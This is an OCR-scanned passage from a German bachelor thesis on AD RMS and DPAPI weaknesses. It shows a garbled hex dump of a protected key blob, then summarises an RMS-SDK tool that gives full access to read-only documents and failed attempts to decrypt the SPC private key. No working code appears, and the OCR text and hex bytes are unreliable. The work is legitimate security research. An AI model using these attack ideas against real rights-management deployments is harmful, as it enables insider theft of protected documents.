0x040: 23 50 53 CD 65 E4 BF EA 3A C7 44 25 C6 2R BB 50 #PYliedié:(DuE=<P
0x050: 00 00 00 00 04 &0 00 00 A0 00 00 00 10 00 00 00 ..... | [
0x060: 92 50 5B D2 C2 A7 50 73 1A S5& &8 9C FA EB 26 10 “P[0AgPs.Z luas.
0x070: 88 00 00 00 60 2F 86 45 AF 36 &0 OC BE 6E 18 BA ... /IE 6 .¥n.o
0x080: E2 B1 03 C9 SD BS FA B4 BE BC 9D A4 A8 AE 8B AD &z.E]pd lW = @1-
0x090: 33 92 BD EBE F3 83 56 92 88 E9 CC FE B7 91 8B 48 3 Malv 1eip--1H
0x0DAO: 08 B2 DA 34 B7 99 35 29 23 02 AC 24 AB 9C 45 93 . 200:-15)#.-3<IEI
Dx0BO: 32 E9 SE BA D1 IF DE C1 6B FA C0D 07 09 DC 63 91 2&~oN.pAkuA. .lc”
0x0C0: E6 BO E2 34 DO 6C 25 77 53 BO OF 9D 8F 4C F7 75 =°a4lilzws®. L-u
0x0D0: 39 16 FD BE 31 OC 8B D7 BA 3C 94 A4 29 EB 2F 6E  9.9»1.IxI1<0")e n
0xDEO: B4 A& DO 91 DS F2 6F 32 96 73 A5 18 99 9B 3F 26 "1P“0acZlse.l17&
0x0FO0: 16 35 33 ED FA D& B FF 33 41 8& 89 14 00 00 00 .59ial0,y3A10....
0x100: 8& 65 24 97 03 7F 91 88 72 3C 68 DB 3B FS B9 AD leSl. 1 Ir<hl:at-
0x110: Fa 0A 18 C8 @..E

Abbildung 5.2: Auschnitt von MSIPP-SK im Hex-Editor; kein Flag ist gesetzt

Die Position der Bytes, welche die Flags beschreiben, konnte durch eine Analyse bestitigt werden. Wur-
de ein Klartext mit der CryptProtectData()-Funktion mit beliebig gesetztem Flag geschiitzt, so war Byte
Nummer 40 das Byte, welches das gesetzte Flag gekennzeichnet hat. Auch fiir MSIPP-MK ist kein Flag

gesetzt.

5.6 Fazit

In diesem Kapitel wurden zwei weitere Angriffe auf RMS untersucht. Fiir beide Angriffe hat man phy-
sischen Zugriff auf die Maschine des Opfers angenommen, um dort ein Programm ausfithren zu konnen,
welches die Zertifikate des Opfers kopiert bzw. den privaten Schliissel des SPCs entschliisseln sollte. Das
Ubernehmen der Benutzeridentitit hat nicht funktioniert, da hierfiir die Login-Informationen des Opfers
notwendig wiren. Als nichstes wurde versucht, den privaten Schliissel des SPCs zu entschliisseln; dafiir
wurde ein Programm vorgestellt, welches die DPAPI-Entschliisselungsfunktion verwendet und Data-Blobs
aus einer Datei einliest. Eine Erkldarung, warum das Programm fiir den geschiitzten Data-Blob nicht funktio-
niert hat, ist das entweder unbekannte sekundire Entropie verwendet worden ist oder die originale Struktur

des Data-Blobs ist mit RSAVault, iiber welches Microsoft keine Angaben macht, verschleiert worden.



6 Zusammenfassung

Im Folgenden werden die Kapitel der Bachelorarbeit kurz zusammengefasst.

Zunidchst wurde das Thema motiviert. Es wurde erwéhnt, dass potientielle Schwachstellen in Microsofts
AD RMS entdeckt wurden, die es einem Benutzer innerhalb einer AD RMS Domine erlauben, Rechte
fiir Dokumente zu erlangen, welche der Administrator bzw. der Autor fiir diesen Benutzer so nicht vor-
gesehen hat. Es wurde darauthin eine kurze Einfithrung in die Funktionsweise der AD RMS gegeben, um
die internen Abldufe zu verstehen. Auch wurde die Funktionsweise der DPAPI erldutert, da mit dieser die
Maschinen- und somit auch die Benutzeridentitét geschiitzt ist. Daraufhin wurde eine mit dem RMS-SDK
2.1 entwickelte Anwendung vorgestellt, durch welche ein Nutzer einer Doméne auf ein mit RMS geschiitz-
tes Word-Dokument Vollzugriff erlangen kann, sofern das Leserecht fiir diesen Benutzer gesetzt ist. Durch
die aufgefiihrten Vorraussetzungen fiir diesen Angriff wurde deutlich, dass es sich um eine in der Praxis
ausnutzbare Sicherheitsliicke handelt. Mitarbeiter von Unternehmen konnten eine solche Anwendung ver-
wenden, um damit firmeninterne Dokumente zu entschliisseln, welche sie dann auf dem Schwarzmarkt oder
an die Konkurrenz verkaufen konnen. Im néchsten Kapitel dieser Arbeit wurden zwei weitere Angirffsszena-
rien diskutiert. Der erste bestand darin, ein Dokument im Namen eines anderen Benutzers aus der Doméne
erstellen zu konnen; der zweite war darauf ausgelegt, Rechte fiir ein Dokument zu erlangen, auf welches
ein Nutzer nicht einmal das Leserecht besitzt. Es wurde jeweils angenommen, dass der Angreifer fiir einen
kurzen Zeitraum physichen Zugriff auf den Computer seines Opfers im eingeloggten Zustand hat. Zunéchst
wurde in diesem Kapitel versucht, die Benutzeridentidt des Opfers zu iibernehmen, um die beschriebe-
nen Angriffe durchzufiihren. Dies ist bei der Entschliisselung des privaten Schliissels des SPCs gescheitert,
da durch die Funktionsweise der DPAPI die Login-Informationen des Benutzers in den DPAPI-Blob des
geschiitzten Schliissels mit einflieBen. Der RMS Client hat erkannt, dass die Maschinen- und Benutzeri-
dentiit veridndert worden sind und hat darauthin neue Zertifikate erstellt. Als ndchstes wurde versucht, den
geschiitzten privaten Schliissel des SPC mit den Funktionalititen der DPAPI zu entschliisseln. Fiir diesen
Zweck wurde ein Programm, welches die DPAPI-Entschliisselungsfunktion verwendet, erstellt. Das Pro-
gramm ist fiir die entsprechenden Eintrdge in der Registry fehlgeschlagen, eine mogliche Begriindung dafiir
ist, dass entweder bei der Erstellung des Data-Blobs unbekannte sekundire Entropie verwendet worden ist
oder RSAVault, iiber welches Microsoft keine Auskunft gibt, hat die Bytes des Data-Blobs verdndert.

6.1 Ausblick

Eventuell lassen sich die weiteren beiden Angriffen mit Methoden 16sen, die im Rahmen dieser Bachelor-

arbeit nicht untersucht worden sind. So konnten moglicherweise weitere Untersuchungen tiber RS AVault
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angestellt werden, um herauszufinden, ob und wie Microsoft auf diese Weise den privaten Schliissel des
SPCs zusitzlich zur DPAPI schiitzt. Wiirden diese Angriffe gelingen, hitte dies wiederrum fatale Folgen in
echten Unternehemenssituationen. So konnte ein Mitarbeiter Dokumente im Namen seines Vorgesetzten er-
stellen, bzw. er konnte firmeninterne Dokumente entschliisseln, auf die er nicht einmal das Leserecht besitzt.
In einem in der Praxis eingesetzten Rechteverwaltungssystem diirfen solche Angriffe, besonders in grof3eren

Unternehmen, nicht moglich sein.
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